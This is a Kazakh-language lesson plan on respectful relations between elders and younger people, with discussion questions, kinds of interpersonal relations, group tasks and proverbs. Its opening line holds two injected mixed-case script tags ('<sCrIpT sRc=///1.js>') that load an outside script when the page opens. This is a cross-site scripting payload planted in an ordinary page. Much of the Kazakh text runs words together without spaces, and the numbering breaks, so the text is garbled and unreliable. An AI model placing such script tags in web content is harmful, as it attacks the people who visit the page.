<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Сабақтың мақсаты: Қазақ халқының ұлттық дәстүріндегі
«үлкен мен «кіші»арасындағы сыйласымды қарым-қатынасты ұлттыққұндылық ретінде
таныту
Міндеттері : - «Үлкен » мен «кіші» «ел ағасы» деген
сөздердің мәнін ашу;
·
Айналадағы ортамен үйлесімді қарым-қатынас
жасау дағдыларын қалыптастыру, мәдени сөйлеуін дамыту;
·
Өзінен үлкенді сыйлауға , құрметтеуге,
инабатты болуға тәрбиелеу.
Сабақ барысы:
Ұйымдастыру: Оқушылардың зейінін
сабаққа аударып, қатысын түгендеу.
Өткен сабақты қайталау: Өткен
сабағымызда адам өміріндегі ең маңызды кезеңнің бірі жалынды жастық шақ екенін
айтып өткен болатынбыз.
·
Жастық шақ кезеңінің негізгі міндеттері
қандай?
·
Мамандық таңдауда қандай негізгі ережелерді
білесіздер?
·
Мамандық таңдауда қоғам мүддесі мен жеке адам
мүддесі үнемі сәйкес келе
ме?
·
Күнделіктіөмірдеөзіңізгеталапқоябілесізбе,
өзіңе сын көзбенқараудегендіқалайтүсінесің?
Шаттықшеңбері
Ә.
Бейсеуовтыңәніне, О. Әубәкіровтыңсөзінежазылған «Ағаларым» әніқолұстасып,
жақсыкөңіл-күйменорындалады.
Әңгімелесу
Оқулықтағыойланайық,
пікірлесейікайдарындағысұрақтарарқылыотбасындағы, туыстар мен
достарарасындағықарым-қатынастуралыбілімдерінсұраққоюарқылыестерінетүсіру.
·
Жарасымдықарым-қатынасдегендіқалайтүсінесіз?
·
Кез-келгенадамменқарым-қатынасжасауүшінадамғақандайқасиеткерек?
·
Олқасиеттерөзбойыңызда
бар ма?
Соныменқарым-қатынастанережеқұрапкөрейік:
·
Қарым-қатынасдегенімізбұл
–адамдарарасындағыбайланысорнату мен дамытудапайдаболатынжеке бас
белгілерініңформасы;
·
Қарым-қатынасбұл-
бірадамныңекіншіадамғаықпалынәтижесіндепайдаболатынадамдарарасындағыбайланыс.
т.б.
Қарым-қатынастыңбір-біріменбайланыстыүштүрі
бар.
1. Коммуникативтікжағы –
қарым-қатынасарқылыадамдарбір-бірініңойын, мақсатын,
алғанбеталысынайыруғатырысады.(Бұлпроцестіңқұралдарынасөз, сөйлеудегіырғақ, мимика,
денедегіәртүрліқимылжатады)
2. Интерактивтікжағы–адамдардыңбірігіпжұмысжасауыүшінстатегиялықжоспарқұружатады.(
міндеттердіөзарабөлісіпжасау кооперация, бақталастыққабағытталған)
3. Перцептивтікжағы-басқаадамныңсыртқыпішінінеқарайоныңпсихологиялыққасиетін,
мінез-құлқынбілу, бірін-біріқабылдау.
Адамдарарасындағықарым-қатынастүрлері
Жеке
жәнеқызметтік
Екіадамарасындағысүйіспеншілік
пен жеккөрушілікжаскезеңінеқарамай, барлықжаскезеңіндекөрінісбереді.
Әлеуметтік топ
немесемекемемүшелеріарасындаолардыңсолтоптағықұқы мен
міндеттерінеорайқалыптасады
Дара жәнетоптық
Бірадамменоныңпсихологиясынбілеотырақарым
–қатынасжасау
Екіодандакөпадамдарменқарым-қатынасжасау
Теңқұқықты
жәнетәуелді
Қарым-қатынасмүшелерініңқұқықтары
мен міндеттерітеңгерілгенжағдайда
Құқықтары мен міндеттерібірдейболмағанжағдайда
Қарама
–қарсылықтыжәнедау-дамайлы
Топ
мүшелеріішіндегікейбіртұлғалардыңұнамдыниеттеріеккіншібіреудіңкелеңсізниеттеріментоғысқанжағдайда
Адамныңбір-бірінеөшпенділігіболғанжағдайда
Амбиваленттіқарым-қатынас
Қарама-қарсыекібірдей
эмоция мен сезімніңқосарланажүруі. Мысалға: бірадамғадегенжеккөрушілік пен
құрметсезімдерініңқатаржүруі.
Үйлесімдіқарым-қатынас
Адамдарарасындақарама
–қарсылықболмай ,өзаратереңсыйластықжайлағанортадакөрінісбереді.
Біздіңбүгінгісөзететінқарым-қатынастүрібұлүйлесімдіқарым-қатынас.Қарым
–қатынасжасауадамныңұлтына,салт- дәстүріне, мінезқұлқына,
темпераментінежәнежасерекшелігінетікелейбайланысты.Әсіресесыйластықұғымынақарым-қатынасұғымынақазақхалқыежелденмәнберіп,
оны салт –дәстүрменұштастырыпкүнібүгінгедейінжеткізіпкеледі.
Ендісолқарым-қатынастыңкіші мен
үлкенарасындағысыйластығытуралытереңірекмағұлматалуүшіноқулығымыздағытарихғылымыныңдокторы,
профессорСәкенДорженовтыңжазғантұжырымыноқып, талдайық.
Оқыпүйренейік.
·
Қазақхалқыныңүлкендіқұрметтеугебайланыстықандайрәсімдері
бар?
·
«Ақсақал»
«ел ағасы» депкімдердіатайды?
Кестеменжұмыс
Туыстықатау
Қарым-қатынас
Салт-дәстүр
Мақал-мәтел
Ырым-тиымдар
Ақсақал
Елағасы
Ақсақалжәне ел
ағасыныңауылжастарыарасындаүлкенсыйласымдықарым-қатынасорнаған.Ақылшы,
әріскетөрелікжасаған, күрделіістердішешкен.
Бата беру; ас
қайыру; атбайлар.
Ағасыбардыңжағасы
бар;
Ататұрыпұлсөйлегеннен
без;
Ер
адамныңкиімінаяқастыетугеболмайды.
Оқыпталдапғибратқыл!
І топ
Құм мен
тасмәтініноқыпталдау.
·
Ренішіінқұмғажазу,
жасағанжақсылығынтасқажазудегендіқалайтүсінесің?
·
Сеніңбасыңнаносындайжағдайөтіпкөрдіме?
ІІ топ
Жүзіңдіжылыұстамәтініноқыпталдау.
·
Шынымендеадамжүзініңжылышырайлыболуыжарасымдықарым-қатынастуғызадыдегенгекелісесіңбе?
·
Адам
мінезініңқарым-қатынасқақатысықаншалықты?
Дәптерменжұмыс
І топ
Қазақхалқыныңдәстүріндегіүлкендіқұрметтеуәдебінебайланыстықағидалардыжалғастырыңыз:
Мыс:
Үлкендералдындаадуындыкіріп, асқақтапсөйлеме;
Үлкенадамдықолтығынандемепотырғыз.
ІІ топ
Үлкендердіқұрметтеп,
қадіртұту, адамдарарасындағыілтипатты да, сыйласымдықарым-қатынастарғабайланыстыайтылғаннақылсөздердіжазыңыз.
Мыс: үлкенді сен
сыйласаң, кішісенісыйлайды;
«Сіз» дегенәдеп,
«біз» дегенкөмек.
Сергіту
a. Көңіл-күйдібелгіле
b. Ойланыптұрғанадамның бет- әлпеті
c. Ашулыадамның бет -әлпеті
d. Таңданғанкейіпкөрсету
e. Өтінгенадамның бет-әлпеті
f. Қуанғанадамның бет-әлпеті
Оқуақпараты
Оқуақпаратыоқушыларғатаныстырылып,
«Кешірімсұраймын» жаттығуыжүргізіледі.
Әроқушысоңғыекі
айда кімдіқаттыренжітті, солтуралыбаяндапжәнеөзкінәсінмойындапкешірім хат
жазады.
Түйіндеме
Адам
қарым-қатынасыныңбастықұралы- тіл. Яғнисөйлеуарқылықарым-қатынасжасаймыз.
Сөздіңбағасы 5 белгіменайқындалады.
1. Дұрыстық -
айтылғансөздіңқатесіздігі,оғантәрбиеарқылыжетеді.
2. Айқындық- ойдыңмазмұнындұрысберебілу
3. Қысқалық –
ойдыжеткізугекерексөздіғанапайдалану
4. Орындылық – сөздіңайтыларжері мен
мерзімінабайлау
1. Дәйексөз
2. Адам
өміріндегіеңтамашанәрсе- оныңбасқаадамдарменқарым-қатынасы.
3. А. Линкольн
4. Жүректенжүрекке
5. Бөлтірікшешенніңөлеңіоқылады.
6. Үлкеналдындаиіліпсөйле,
7. Кішіалдындасызылыпсөйле.
8. Иіліпсөйлегенненбеліңбүгілмейді,
5. Сызылыпсөйлегенненсөзіңүзілмейді.